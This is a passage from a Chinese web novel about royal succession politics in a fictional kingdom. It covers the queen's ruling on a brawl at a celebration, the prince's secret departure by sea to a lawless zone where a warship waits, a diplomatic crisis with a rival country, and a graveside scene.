已故的白冕亲王凭借其卓越的战功以及独特的个人魅力,成功促成了王军与战役军的短暂合并,将其整编为统一的“王国联合军”,并亲自出任最高统帅。 在那段时期,两军壁垒被打破,资源得以优化,战力达到空前鼎盛。 白冕亲王不仅赢得了王军精英的绝对效忠,更以其在战场上身先士卒的作风与爱兵如子的情怀,深深折服了原本桀骜不驯的战役军将士,真正实现了两系人马同心同德。 然而,随着白冕亲王意外战死,这座由他一人维系的大厦顷刻崩塌。 失去了这位核心领袖,固有的隔阂与利益分歧迅速表面化,联合军体系名存实亡,很快便重新分裂为原有的王军与战役军,甚至因之前的积怨被清算,彼此间的对立较以往更为深刻。 白冽虽被S国民众誉为"白冕接班人",但其实他始终未能真正获得如白冕亲王那般跨越两军的、毫无争议的权威。尤其在三军高层及王军体系内,对他更是不屑一顾。 在他们看来,白冕亲王留下的是一个后无来者的空缺,白冽顶多只能算一名出色的将领,远远达不到弥合裂痕、凝聚整个武装力量的层面。 是以,当白冽看见三位王军的老元帅同时出现在宴厅时,一股寒意瞬间从脊椎窜起,远胜于腹部的剧痛。 这三位老元帅,每一位都是足以震慑一方的军中泰斗,早已不过问日常事务。此刻竟为了一场归国庆典齐聚于此,其象征意义不言而喻。 白朱拉缓缓扫过满地狼藉,视线最终落在面色惨白的白冽身上。她的声音不高,却带着不容置疑的威严:"说,怎么回事?" 话音未落,白冽身后一名心腹将领抢先一步,单膝跪地,语气悲愤:"陛下!是殿下!殿下不由分说,突施辣手,长官毫无防备,被当众重创!此举不仅重伤长官,更是践踏我战役军全体将士的尊严!还请陛下严惩!" 另一名将领也立刻出列附和,言辞激烈:"陛下明鉴!长官顾及王室颜面一再忍让,可殿下却变本加厉,甚至我等上前规劝,都被殿下及其随从一并殴打!陛下!我等愿为S国战死,却受不了这等羞辱,还请陛下为我们做主!" 他们你一言我一语,将沈归灵描绘成蛮横无理、主动挑衅的暴徒,而白冽则成了顾全大局、无辜受辱的受害者,字里行间都在强调此举对战役军造成的冲击,俨然是以军权在向女王施压。 白朱拉掌权帝国半个世纪,虽是女子,但其政治手段与魄力远非一般男子能比。 她可以处罚沈归灵,但前提是她想,而不是被一群鼻青脸肿的军官反制。 是故,她并未回应将领们的控诉,转眸看了沈归灵一眼,又落回将领身上。 无形的压力随着女王的沉默而持续累积,之前还情绪激动的将领,在这片死寂中也逐渐感到了不安,声音不自觉地低了下去。 "陛下,息怒。" 恰是这时,白拉曼优雅上前,朝着女王微微屈膝行礼,笑着道:"年轻人之间有些意气之争,说开了就好,都是自家人,说什么颜面不颜面的,是不是啊?阿灵?" 说罢,她略有深意地看向沈归灵。 沈归灵缓缓抬眸,眼里没有半分妥协:"不是。" 长公主嘴角的笑容瞬间凝固,有那么一瞬间,她差点以为是自己幻听了。 在她看来,沈归灵已经占了便宜,见好就收才是聪明之举。 沈归灵转头看向白朱拉,微微上挑的瑞凤眼带着出鞘的锋芒:"白冽与其一众将领言辞羞辱我的父亲。陛下,我的父亲可以随意被羞辱吗?" 白冕这两个字,不管是在S国还是在女王心中都是特殊的存在,容不得半点不敬。白朱拉的脸色以肉眼可见的速度沉了下来,那双风霜不侵的黑眸迅速凝结寒冰。 "闭嘴!"白冽也意识到事情的严重性,言辞激烈,"陛下!我从未对亲王殿下有过半分不敬!他血口喷人!" 他身后那群将领也瞬间炸开了锅,群情激愤: "信口雌黄!我们对亲王殿下向来敬重有加,绝无此事!陛下明鉴!这是赤裸裸的构陷!" "我等愿以性命担保,长官绝无此等言行!" 面对众口一词的指责,沈归灵连眉梢都未曾动一下,游刃有余:"陛下觉得,我一个还未认祖归宗的孤儿,会用自己的亲生父亲撒谎吗?" 怎么不会?! 白冽和白密眼眸同时一缩。 白朱拉也不知是被哪句话触动了,转眸打量起求饶的众将领,眼神不怒自威。 白冽这才意识到沈归灵是只狡猾的狐狸,咬牙切齿:"陛下英明,我等皆可自证。" "说到自证,我也有证人。"沈归灵转头,波澜不惊地看向白密。 "啊?"白密这才从震惊中反应过来,一秒入戏,指着白冽:"对!圣君奶奶!我就是听见白冽对亲王不敬才出手的,您知道的!我这个人有一说一,从不撒谎。" 白拉曼见状,气得拳头都硬了。 臭小子,这种话他怎么有脸说?整个王室谁不知道他从会说话就谎言不断? "陛下。" 就在气氛胶着不下时,安缇上前一步,身姿笔挺如松,对着白朱拉和三位元帅一一行礼后,目光坚韧:"陛下,安缇愿以性命起誓,殿下所言分毫不差。" 阿提查沉吟片刻,上前在白朱拉耳边低语:"陛下,旁人不好说,但安缇自幼跟在亲王殿下身边,她说的话还是可信的。" 这话一落,白冽及其身后的党羽脸色瞬间阴沉。 白密:"……" 这老头儿在讽刺谁呢? …… 第922章 白烬 阿提查极重规矩,此刻出声为沈归灵说话,其用意已明显得不能再明显。 白冽及其将领们面对这突如其来的“集体作证”,又惊又怒。他们辩白的声音,在对方人多势众且“言之凿凿”的证词面前,竟显得有几分苍白无力。 场面彻底陷入僵持,所有人的目光再次聚焦于宝座之上的女王,等待着她的最终裁决。 白朱拉沉吟片刻,转向了另外两位老元帅。 “你们怎么看?” 巴顿语气淡淡,“陛下,白冽堂堂军务最高指挥官,庆典之上被几个小辈打得毫无还手之力,这等丑闻还有什么可说的?” “你……” 巴顿明显是在转移矛盾,白冽差点气出内伤,但碍于巴顿的身份,他又不好当众驳斥。 女王不语,转头看向一直沉默的纳塔瓦,“先生的意思呢?” 纳塔瓦摸了摸脸上那道狰狞的疤痕,嗓音粗犷:“陛下,我是个粗人,不会拐弯抹角,我就直说了。” “白冕亲王在世时,是怎么待他手下每一个兵的,全军上下都记着!当年的王军联合军都清楚,大家永远欠元帅一条命,都等着有朝一日能偿还恩情。小殿下是亲王唯一的血脉,流落在外这么多年吃了多少苦?如今好不容易回来,咱们这些旧部也总算有了盼头。” 忽然,他话锋猛地一转,带着雷霆之怒直指白冽:“若是有人敢以职权欺压亲王血脉,别人我不敢说,但我狮鹫海师第一个不答应!” 沈归灵抬眸,略有些意外地深看了老人一眼。难怪被说是最护短,别人不过是火上浇油,他倒好,直接把锅掀了。 白冽好歹是战役军总指挥使,面对纳塔瓦几乎宣战般的挑衅也沉了脸,“老元帅这是什么意思?” 纳塔瓦完全没有好脸色,声如洪钟:“什么意思?意思是打得好!亲王殿下是不在了,但也容不得跳梁小丑上桌,也该是时候让一些人知道自己几斤几两了?” 这番毫不留情的斥责,如同在滚沸的油锅里泼进一瓢冷水,瞬间在整个大厅炸开。 原本屏息凝神的宾客们再也无法维持表面的平静,压抑的惊呼与窃窃私语如同潮水般蔓延开来。 几位内阁要员下意识地交换了眼神,彼此都看到了对方眼中的惊骇。 白蒂娜脸上的幸灾乐祸早已僵住,取而代之的是一丝难以置信的嫉妒与慌乱。她搂着白迪雅的手臂不自觉地收紧,掐得后者微微皱眉。 三位元帅就代表了王军的态度,现在局势已经很明显了:她有背后内阁,白冽坐拥战役军,而沈归灵也即将拿下王军的指挥权。 白拉曼此刻的危机感被拉满到了前所未有的高度。 “安静!” 白朱拉手执权杖轻轻敲击了三下,清脆的声响让整个大厅重归寂静。 “今日之事,双方各执一词,待查明缘由再做判度。但……庆典之上,将领斗殴,公然羞辱王室颜面,必须严惩。” 女王略作停顿,语气转为裁决:“白冽,你身为军务最高指挥官,言行失当在先,御下不严在后,即日起,停职自省一个月,期间所有军务暂由副总长代理。” 白冽怔然,难以置信地看着白朱拉。 白密一脸惊喜。停职一月,足以让白冽在军中的威信受损,在此之前,女王可从未动过白冽。 “至于你们,身为高级将领,不思劝谏长官,反而参与斗殴,各记大过一次,凡升迁评选事宜一律延后十年。” 将领们顿时眼前一黑——十年内不得晋升,这岂不是夺了他们所有的军功? 最后,白朱拉缓缓看向沈归灵,“念你初回国都,不懂规矩,且事出有因未铸成大错,就罚你禁足三日,抄写《王室训诫》十遍,以示惩戒。” 话音刚落—— 众人:“……” 王室:“…………” 白冽:“……………………” 原本替沈归灵捏了一把汗的莫然彻底松了一口气。 一旁的雷行没忍住,抬手擦了擦眼角的泪水。 莫然看着好笑,“你至于吗?” 雷行热泪盈眶,“你懂什么?少爷总算苦尽甘来了,当年只有姜小姐才能享受的偏爱,总算轮到他了。” * 庆典的喧嚣渐远,沈归灵被内侍官引至女王陛下的私人书房。 这里不似正殿那般奢华,却处处透着庄重与威仪。 白朱拉已换下繁复的礼服,身着常服,坐在宽大的书案后,正执笔批阅着文件。烛光映照着她布满皱纹却依旧锐利的面容。 沈归灵静立片刻,并未出声打扰。 良久,白朱拉放下笔,抬眸看他,目光深沉难辨:“这里没有外人,你老实说,白冽可有公然对阿冕不敬?” 沈归灵摇头,不卑不亢:“没有。” 第923章 请教 沉重的殿门在身后缓缓合拢,沈归灵刚步下台阶,一道身影便从廊柱的阴影里急切地窜了出来。 "怎么样怎么样?"白密一把将他拉到廊柱后,压低了声音,脸上混合着担忧与焦灼,"圣君奶奶单独跟你说了什么?她没有为难你吧?" 沈归灵瞥了一眼那双与他五分相似的眉眼,沉默片刻,移开目光,"没有。" 白密盯着沈归灵打量了片刻,见他依旧一副云淡风轻的样子,啧了一声,围着他来回转圈,"那老太太的脾气可不是一般的差,你撒的谎漏洞百出,她不可能看不出来,这都没和你计较?沈归灵,你厉害啊!" 沈归灵抬眸,"你知道漏洞百出还敢帮着我撒谎?" 白密一脸晦气,"你还好意思说?一声招呼都没打突然点我的名字,要不是我反应快,看你怎么收场!" 沈归灵挑眉,"漏洞不是你吗?我要知道原来你在王室的名声这么不靠谱,一开始就点安缇了。" "......"白密被他这句话噎得差点背过气去,一双眼睛瞬间瞪得溜圆,"那老头儿说的话你也信?" 沈归灵,"不是阿提查,是你的母亲。" 白密不知道的是,他拍着胸脯担保时,长公主那副恨不得钻地洞的模样早就出卖了他。 "她懂个屁?"白密佯装镇定,一脸无所谓地甩了甩胳膊,气得转身就走。 沈归灵看着那气呼呼的背影和立起来的黑色呆毛,淡淡开口,"你就这么走了?" 白密身形一顿,脚步僵滞片刻,咬了咬牙,转身又折了回去,"我有话要问你。" 沈归灵:"问?" 白密被他那双眼睛看得发毛,立马改口:"请教。" "问吧。"沈归灵转头朝廊庑走去。 白密立刻加紧脚步跟在他身侧,"圣君奶奶最讨厌别人利用亲王寻衅滋事了,她为什么没有处罚你?现在所有人都说你运气好,因为与亲王和曾祖父肖似,才被女王另眼相待。" 沈归灵不咸不淡,"你也这么认为?" "没有人能凭运气在白王宫站稳脚跟。"白密的声音低沉下来,眼神带着前所未有的认真,"所以,我想知道,你是怎么做到的?" 沈归灵,"我什么都没做,只是了解了规则。" "规则?"白密略有迟疑,帝王阴晴不定,哪有什么规则可言? "从女王费尽国力也要将我带回国,规则就已经显现。"沈归灵停下脚步,转头看向白密,"她老了,但她的帝国还年轻。一个帝王不惜动用国力也要赎回我,说明......她对王室现有继承人一个都不满意。" 白密知道,这其中的王室继承人当然也包括自己,他的脸色不算好看。 "真话并不好听,但事实如此。"沈归灵忽然想到什么,略有深意,"现在你明白了,为什么你的母亲绞尽脑汁却依旧只能和白冽分庭抗礼?" 白密皱了皱眉,眸光微闪,"你......" 他意识到什么,压低了声音,"你是说,这是圣君奶奶故意布下的制衡局面?她谁都不中意,所以才一碗水端平?可......" 白密脸色悻悻,不服气地瞥向沈归灵,"可圣君奶奶怎么就笃定你行?" "她还没有笃定,所以她还会不断测试。" 这几天,曦光殿的暗杀不断,女王不可能不知道。但她并未表态,说明她默认了长公主和白冽对他的围剿。但女王花这么大代价把他接回来,一定不是想看着他死。所以她的意图很明显——她想养狼王。 但沈归灵刚刚回国,毫无根基,根本没有资本与长公主和白冽周旋。在狼王还未训成之前,女王一定不会看着这杆天平失衡。而当沈归灵看见三位王军元帅同时莅临,更加笃定了心中的想法。 长公主和白冽揽权已久,要想打破局势让沈归灵挤进权力的旋涡,就必须要有一场立威局。沈归灵就是深谙了帝王心思,才敢肆无忌惮当众与白冽撕破脸。 沈归灵想起主厅里的那位老太太,眼里多了一丝情绪。女王并非不知道他的心思,但只要大局不变,她似乎是愿意纵容他的。 白密也是聪明人,瞬间贯通了所有关节,"所以,那场看似你和白冽的争斗,其实是你和圣君奶奶的博弈?难怪圣君奶奶喜欢你,敢跟帝王下棋的,白家王室现在也就你了。" 出生帝王之家,白密可见识过太多王权至上的血腥,早已不信血浓于水那一套。 沈归灵一笑而过,加快脚步走下台阶。 白密眼底闪过一抹挣扎,斟酌片刻,埋头跟了上去,"喂?!你去哪?宴会不在那边,你走错了。" 沈归灵头也不回,"我不回宴会了。" 白密一惊,立马上前拦住他,"你要去哪?" 沈归灵,"鲸港。" "A国?!现在?!"白密一脸诧异,语调都变了,"你疯了,外面多少人等着要你的命?" 这个理由完全阻挡不了沈归灵的脚步。 白密真是败给这活祖宗了,跟在他身后像个猴子似的挠耳抓腮,"诶!你冷静点别冲动啊!你现在身份还是A国一级嫌疑犯,还没过国检就会被扣押的。" 沈归灵:"谁说去A国只能过关口的?" "那你......"白密顿时表情失色,"你......你打算偷渡?" 沈归灵脚步未停,夜风拂起他额前的碎发,露出底下那双冷静得近乎漠然的眼。 "偷渡?"他唇角牵起一丝极淡的弧度,像是在嘲笑这个词的粗陋,"不至于,我自己有船。" 海舰? 白密越听越玄乎:"有船?有船没有航线,被巡逻舰发现照样完蛋!" 他越想越不靠谱,苦口婆心地规劝:"沈归灵,你都已经回来了,安心搞事业不行吗?沈家人都不要你了,你这个时候回去是不是脑子坏掉了?" 见他不为所动,白密又继续泼冷水:"别说公海了,你现在连白王宫都出不去。" 沈归灵笑了笑,回眸看着他:"不是还有你吗?你母亲掌管宫廷事宜,作为她的儿子,你应该有不少权限吧?比如,神不知鬼不觉地从宴会消失?" 白密被他盯得毛骨悚然,莫名打了个寒颤:"你想都不要想。" 沈归灵收拢笑意,淡淡道:"之前你说什么来着,所向披靡的剑?无坚不摧的盾?" "......"白密嘴角抽了抽,抬手抽了自己一嘴巴。 …… 第924章 白密劝母 白密终究没能违背自己亲口立下的誓言,咬着牙动用了这几年暗中积累的资源,将沈归灵这位活祖宗送出了王宫。 这次出宫的不止沈归灵,还有安缇、莫然和雷行。白密看着这一大家子,心里酸涩得不行,合着这里面就他一个外人? 白密自觉被沈归灵伤了心,魂不守舍地往回走。 这一路上他心惊胆战,脑海里不断上演着沈归灵被巡逻舰炸成两半的画面。 正当他心神不宁时,廊道转角出现一道玫红色的身影,宛如一道无法逾越的屏障横挡在他面前。 白拉曼面无表情,双手抱胸,目光却像探照灯一样将他从头扫到尾。 "你不是出尽风头了?怎么还耷拉着一张脸?" 白密瞬间回神,脚下一顿立马掉头,嘴里含糊地哼起了不成调的小曲,试图营造一种"我什么都没干我只是路过"的假象。 "站住!鬼鬼祟祟干什么?"白拉曼的声音不高,却像带着冰碴子,明显是动了气。 白密背对着她,痛苦地闭了闭眼,知道躲不过了。他慢吞吞地转过身,脸上挤出一个无比僵硬的笑容:"母、母亲大人?您怎么在这儿?" 白拉曼根本不吃他这一套,她缓步上前,走到他面前,目光锐利如刀:"这话应该我问你吧?你不是一直乐呵着给沈归灵鞍前马后吗?怎么?你新主子呢?" "什……什么新主子?"白密心里叫苦不迭,嘴上还在负隅顽抗:"听不懂你在说什么?" "听不懂?"白拉曼微微眯起眼,唇角勾起一抹没有笑意的弧度,"需要我帮你好好回忆回忆吗?刚刚,你为了沈归灵跳起来暴打白冽的头,我怎么不知道你什么时候这么英勇了?" 白密:" 跟沈归灵有什么关系,我早就想揍那个杂碎了!" "你还想糊弄我?!"白拉曼强压下翻涌的怒火,"阿密,你是我的儿子,你有没有想过,宴席之上你公然与沈归灵为伍,是要置我于何地?又让那些依附于我的老臣怎么想?你为什么偏偏要跟我作对不可呢?" 白密眼看避无可避,神色也严肃了几分:"母亲,我早就跟您说过了,白冽就算了,但您争不过沈归灵的。您今天也看到陛下和王军的态度了,何苦还要为难自己呢?还有,暗杀的事您最好也消停一下,到时候真清算起来,就算是您也不好脱身。" 白拉曼万万没想到这个时候了,白密竟还有脸教训她,眼里满是失望:"你竟然还敢来警告我?我做这一切到底是为了谁?我是为了我自己吗?我要不是为……" "我知道,您是为了我!"白密冷声打断,面对白拉曼的谴责,他没有一丝愧疚,咬着牙强调:"就是因为您是为了我,所以这件事您就做不成!" 白拉曼眸光微颤,细细打量白密:"你说什么?" 白密:"母亲。帝王是没有母爱的,圣君奶奶之所以能坐在王位,是因为她是帝王,她心里装的是S国万千子民。小爱不足以博大,陛下早就看透了您的胸襟,所以她才会把沈归灵接回来,您从来就不是她属意的继承人选。" 白拉曼万万没想到白密竟然能说出这么一番道理,脸色瞬间苍白,但多年的修养让她即使方寸大乱也依旧保持着很好的体面。 如果不是沈归灵的''不吝赐教'',白密还能保持与母亲的平衡,但现在他已经确定会与沈归灵为伍,有些话他就不得不挑明了。 白密上前,轻轻牵起白拉曼的右手,低头轻吻:"母亲,我已经长大了,如果我想要什么一定会自己去争。若是我要靠您才能坐稳这王座,说明我就不是一个合格的帝王。" 手背落下的轻吻让白拉曼冰凉的心慢慢回温。她沉默片刻,皱着眉轻声问:"你真的一点都不心动?" 白密摇了摇头,一脸严肃:"不想,因为我有了更大的目标。" 这世上还能有比做帝王更大的目标? 白拉曼一脸狐疑:"什么目标,说来听听。" 白密:"我想当亲王。" 白拉曼还以为这小子能说出什么不得了的目标,听见"亲王"两个字直接被气笑了:"你这是在挑衅我?" "您别急啊,您听我说。"白密凑上前,小声道:"帝王之位看似尊贵,但同时也被万民和无数责任约束,我不想活得这么累。所以我早想好了,等沈归灵上位,我就让他给我一个亲王当当,到时候我有自己的封地,不仅可以称王称霸还可以逍遥快活。" 白拉曼在确认白密不是在说笑后,闭了闭眼:"你是不是有病?" "不是。"白密一脸费解,他实在不能理解,这么简单的道理怎么会有人不懂。 他想了想,又继续耐着性子解释:"母亲,抛开所有头衔,帝王无非就是一个国家的管理者,他跟一个公司的执行董事没什么区别?" "但在公司里,真正受益的不是每天要工作二十小时、天天开会的决策者,而是什么都不做,每年等着财报分账的股东。我要做的就是这个股东!" "您想想,沈归灵是个人才,有他管理S国,国力必将昌盛。我只要不跟他作对,在他需要的时候适当投入一点''资金'',到时候就可以躺着享受荣华富贵,这有什么不好的?" "……"白拉曼反驳不了,但也接受不了他这种歪理,对着白密脑门就是一巴掌:"你干脆直接告诉我你是个没出息的,我还比较容易接受。" 白密捂着脑门:"难怪您绞尽脑汁还不如人家灵机一动。" "你说什么?" 白密:"没什么,反正该说的我都说了,您觉得我有病也好,觉得我没出息也罢,这条路我走定了。" “……”白拉曼咬牙,“按你这么说,我给你封个亲王不就得了?” “您?”白密一脸嫌弃摆摆手,“您不行。” 白拉曼忍着脾气,“你不是想当亲王吗?谁封的不都一样?” 白密瞪眼,“这怎么能一样?” 白拉曼,“哪不一样?” 白密比划出一根手指头,“这么说吧,您出任CEO,公司撑破了赚一百万,但沈归灵,起码一个亿。” 长公主笑了笑,后退一步,扬声冷嗤:“廷尉长,白密协助他人私逃出宫,把他给我抓起来,往、死里打!” …… 第925章 受害者 八小时后。 一艘不起眼的快艇悄无声息地划破漆黑的水面,朝着远海疾驰而去,将灯火辉煌的陆岛远远抛在身后。 安缇站在沈归灵身侧,她的担忧并未完全消散,但基于对沈归灵判断的绝对信任,她选择了沉默,只是更加警惕地注视着周围漆黑的海域。 “少爷。”莫然提着笔记本电脑上前,海上的夜风带着刺骨的凉意,吹得她脸色发白,“我用特殊手段联系了南湾旧部,他们确认,目前所有官方口岸和主要私人码头因为余斯文叛国案加强了盘查,尤其针对来自S国方向的船只,直接靠岸风险太高。” 说着,她指尖在触控板上滑动,调出一张标注详细的电子海图。 “所以我建议,我们不在常规码头靠岸。南湾东侧有一片废弃的工业港区,叫''黑石湾'',因为污染问题被强制关闭,大部分基础设施都已拆除,但水下勘测显示,其三号泊位的水下基桩结构还算完整,足以让我们的小艇临时贴靠。我们可以去那,等……” 不等莫然说完,沈归灵抬手打断,“我们不去南湾。” “不……不去南湾?”莫然看着手里整理的报告,一时反应不及。 沈归灵点头,语气里带着不容置疑的决断,“调整航向,我们去‘三不管’地带。” “三不管?”莫然一愣,连旁边一直保持警惕的安缇也瞬间转头看向他,眼中闪过一丝惊愕。 不怪她们反应这么大,‘三不管’是公海上臭名昭著的灰色区域,因其错综复杂的管辖权争议和猖獗的海盗活动而得名,是连各国海军都尽量避免涉足的混乱之地。 沈归灵转过身,指尖在莫然电脑的触控板上轻点几下,将电子海图迅速拖动、放大,定格在那片标记着危险符号的广阔公海区域。 “我们就去这。” 海风将他额前的黑发吹得微微拂动,眼底却是一片沉静的冰封。 安缇皱了皱眉,“殿下,您不是去见姜小姐?” “不是。” 他现在身份已经不一般了,这个时候回去找姜花衫,除了给她惹一堆麻烦之外没有任何作用。所以与其贪恋这片刻的温存,不如在最短的时间内扩大实力。 女王既然已经出动王师,说明有交权的意图,但他根基尚浅,就算有亲王遗脉的头衔也不能服众,他没有那么多时间等着这些人测试,所以不如整把大的。 S国的历史上没有破格擢升的元帅,那他就想办法创造。 女王老了,在这件事上她会是他的盟友。 雷行万万没想到,抓了抓头,“那您还跟白密殿下说去鲸港?” 沈归灵神情淡淡,“骗他的。” 三人:“…………” 沉默良久,莫然总算才找回自己的声音,有些为难,“少爷,你要不在考虑一下,那里可是连正规海军都要谨慎行事的混乱海域,咱们什么都没有……” “不用担心,我有艘船。”沈归灵的语气平淡得像在说明天早餐吃什么。 “船……什么船也不能……” 话音未落,仿佛是为了回应她的疑虑,快艇前方原本空无一物的海平线上,突然被一个庞大狰狞的黑色阴影笼罩,那身形如同从深海中崛起的巨兽,毫无征兆地撕破了夜幕与海雾,带着压倒性的存在感缓缓显现。 三人抬头仰望:“船……船……船!!!” 眼前船体规模惊人,目测长度至少超过两百米,巍峨如山,对比之下,他们脚下的快艇精致得如同手办玩具。 整个战舰拥有流畅且极具攻击性的剪影,船体线条锐利如刀锋,明显是为了高速航行与降低雷达反射而设计。深灰色的涂装几乎与暗沉的海天融为一体,带着一种冷硬的工业美感。 安缇曾随白冕南征北战,见过的战舰不计其数,她一眼就注意到,前甲板上赫然矗立着一座经过现代化改装的舰炮,口径已然达到战列舰级别,足以对同类型船形成毁灭性打击。 这不是普通的武装商船,而是一艘拥有正规军舰级别火力的高速突击舰! 是战舰。 她一脸诧异,转头向沈归灵求证,“殿下,这是你的船?” 沈归灵,“我设计的,但不是我的。” * 白王宫,议事正殿。 此刻灯火通明,气氛却压抑得如同暴风雨前的死寂。本应早已结束的庆典之夜,却被一场突如其来的变故彻底打乱。 女王白朱拉高踞于王座之上,苍老的脸上覆盖着一层寒霜。 白拉曼立于御座左下首,面色同样难看,她紧抿着唇,目光时不时锐利地刺向大殿中央那个跪着的身影。 军务副总长及三位王军元帅分列两侧,个个眉头紧锁,神色凝重。 而大殿中央,白密正跪在那里。 他此刻的模样颇为狼狈,脸上带着明显的青紫痕迹,嘴角还残留着未擦净的血丝,廷尉长碍于他的身份不敢下狠手,他脸上这些伤都是白拉曼打的。 白密低着头,头顶一撮呆毛也无精打采地耷拉着,但脊背却挺得笔直,带着一股执拗的劲儿。 “说!” 女王的声音不高,却带着千钧重量,在大殿中冰冷地回荡。 “人去哪了?” 白密抬起头,扯动了嘴角的伤口,疼得他“嘶”了一声,但眼神却带着一种豁出去的混不吝:“圣君奶奶,我真的不知道。沈归灵就说出去散散心,没准明天就回来了。” 白拉曼眼皮跳了跳,默默看向白朱拉。 蠢东西!这个时候了还敢插科打诨,他这是要为沈归灵拼命啊? 白朱拉,“如果他明天不回来了?” “不回来?”白密大脑风速运转,急中生智,“那就是他骗我了!圣君奶奶,你就更不能怪我了,我也是受害者。” 众人:“……” 白朱拉面无表情,“把他拖下去,继续打。” 白密大惊失色,转头扑向白拉曼,“母亲,救救我啊母亲,不能再打了!再打我就要招了!” 白拉曼气得对着白密后背猛扇了几巴掌,“你想气死我啊?你倒是招啊!” 白密被打得哇哇大叫,“我招!是我母亲让我把沈归灵骗出去。” “你……你说什么?!” 白拉曼呆立了一秒,保养得宜的脸颊肌肉剧烈抽搐了一下。 下一秒,她猛地转身,目光如同利剑般扫过身旁。也顾不得什么王室仪态和长公主的优雅了,她一把抓起旁边内侍官手里的托盘对着白密劈头盖脸砸了过去! “混账东西!我让你胡说八道!” 沉重的托盘带着风声呼啸而来,只听见砰的一声,白密整个人就像是被抽走了骨头一般,软绵绵地朝着旁边一歪,缓缓倒地。 这突如其来的“晕厥”让大殿内瞬间一静。 正准备继续教训儿子的白拉曼举着的手僵在了半空,看着地上“不省人事”的白密,一口气堵在胸口,上不来也下不去。 她心里跟明镜似的,从小到大,这小子一有事就装晕,但现在她拆穿白密,白密免不了一顿更重的毒打,可要是不拆穿,她等同于同流合污,女王要是追究起来,她也落不了好。 白拉曼看了一眼手里的托盘,手起刀落,对着白密的脑门哐地又补了一棒。 “砰”的一声闷响,清脆又骇人。 白密身体猛地一僵,还没来得及睁眼,便彻底失去了意识。 众人:“…………” …… 第926章 会等到的 就在白密晕厥的瞬间,殿外传来一阵急促的脚步声,打破了凝滞的气氛。一名身着深色外交制服的官员踉跄而入。 "陛下,紧急情况!A国……A国方面刚刚通过外交渠道发来最严厉的照会!" 来人甚至来不及行礼,声音带着前所未有的惊惶,手中紧握一份加密通讯文件。 所有人的目光瞬间从地上的白密身上移开,聚焦到这名外交官身上。女王白朱拉眼眸微眯,王座扶手下的手指无声收紧。 "怎么回事,说清楚!"白朱拉的声音依旧平稳,但殿内所有人都能感觉到那平静之下骤然绷紧的弦。 外交官咽了口唾沫,语速极快地汇报:"A国高等法院今日对前总统余斯文的叛国案作出终审判决,并在庭审中公布了部分证据链……其中明确提及并指控我国前任战役军副*总*参*谋*长*李儒,与余斯文存在长期非法利益输送,并涉嫌向余斯文提供我国部分近海防御部署情报,以换取其在A国境内的商业便利和政治庇护!" "什么?!"军务副总长失声惊呼,几位元帅的脸色也瞬间变得铁青。 李儒身处军务要职,身份敏感,此事若坐实,无疑是惊天丑闻! 外交官的声音带着颤抖,继续道:"A国以此为由,宣布即刻起冻结我国在A国境内的七项重大合作项目,驱逐我国驻A首都星大使馆武官及三名高级商务参赞,并对包括李儒在内的十七名我国籍人员发出红色通缉令!他们……他们还宣称,将重新评估与我国的所有军事及高科技领域合作,并保留进一步采取''一切必要措施''的权利!" "砰!" 白朱拉女王猛地一掌拍在王座扶手上,巨响在空旷的大殿内回荡。她苍老的脸上再无丝毫平静,只有滔天的怒意和冰冷的寒意。 "好一个''一切必要措施''!"她几乎是咬着牙吐出这几个字。 这已不仅仅是外交摩擦,而是近乎撕破脸的全面施压!A国这是借余斯文案,将矛头直指S国高层,意图在政治、经济、军事上多方位进行遏制和打击! 殿内一片死寂,落针可闻。方才还在为白密和沈归灵之事烦恼的众人,此刻心都沉到了谷底。与足以影响国运的外交风暴相比,沈归灵的私自离宫似乎都显得"无足轻重"了。 白拉曼顾不得地上晕着的儿子,快步走到御阶下,声音急促:"陛下!A国此举分明是借题发挥,意图不轨!我们必须立刻做出强硬回应,否则……" 白朱拉女王抬手制止了她的话,缓缓从王座上站起身。 "传令。召开最高枢密会议。外交总署即刻拟定反制方案,黎明之前我要看到结果。" 命令下达,殿内众人肃然领命,迅速行动起来。 白朱拉不再多看任何人一眼,在内侍官的簇拥下离开了议事正殿。然而就在殿门合拢之际,她的身形晃了晃,几乎栽倒。 "陛下!" 一直跟随在侧的帕塔妮眼疾手快,一把扶住女王,眼里满是担忧。 回到寝殿,白朱拉几乎瘫软在宽大的座椅里,剧烈地咳嗽起来,脸色苍白得吓人,额头上沁出细密的冷汗。 帕塔妮挥退所有侍从,熟练地打开常备的药箱,取出注射器和一小瓶透明药剂。注射药物后,白朱拉的脸色才好转不少。 帕塔妮忍不住红了眼眶,声音哽咽地劝道:"陛下……您不能再这样硬撑下去了!御医说过,您的身体需要静养,如此透支,如何能熬得住啊……" 白朱拉摇了摇头,目光穿透华丽的墙饰,望向珠帘后的书房:"帕塔妮,去把桌上的文件拿过来。" "是。"帕塔妮强压下心头的酸楚,转身快步走向书房。不多时,她捧着一份厚重的加密档案袋回来。 白朱拉接过档案袋,指尖在那冰冷的数字上摩挲片刻,眼中闪过一丝复杂难明的情绪。她深吸一口气,仿佛在积蓄最后的力量,缓缓拆开封口的火漆。 ——《四十九号档案》 这是一封世界强权联盟的号召书,尽管这个计划已被搁置半个世纪之久,但每一年还是会有不死心的人继续发起投票。 今天,计划书比往日提前了一个月。 白朱拉翻到S国意见书,看着上面空白的签名,思绪一下回到了二十年前。 "母亲,请您等我回来,请您给我一个说服您的机会。" 可她等了一天又一天,始终没能等到那个理由。 白朱拉轻叹一声,将计划书放回档案袋后递给帕塔妮。 白冕去世之前,计划书里只有A国执反对意见。白冕去世后,S国的签名栏空白了二十年,这是一个母亲无声的抗议。 帕塔妮心领神会,双手接过,正欲转身忽然想到什么,她蹲下身,轻声安抚:"陛下,您会等到的。" 白朱拉神情微动,笑了笑:"我知道,所以我得拼命活啊。" …… 第927章 好人赢了 鲸港的深冬,天空是调色盘里饱和度最低的灰色。 姜花衫手捧一束洁白山茶花站在一座新立的墓碑前,寒风凛冽,吹动她黑色大衣的衣摆,猎猎作响。 墓碑简洁得近乎冷清,与周围那些雕刻繁复、彰显着家族荣耀的墓碑格格不入。上面只刻着一个名字 ——方眉 没有生卒年月,没有称谓,也没有立碑人的落款。 “你最爱繁华,应该会喜欢这里。哦,对了!你隔壁邻居生前也是个大人物,记得跟人家打好关系。” 她说着无聊又不好笑的笑话,声音被风吹得有些散。正要弯腰将手中的白山茶放下,视线里却蓦地闯入另一抹色彩。 一束如火般炽烈的红玫瑰,被一只戴着黑色羊皮手套的手,轻轻放在了那束白山茶旁边。 红与白,在这片灰暗的背景下,形成了突兀又惊心的对比。 姜花衫动作一顿,缓缓直起身,侧头看去。 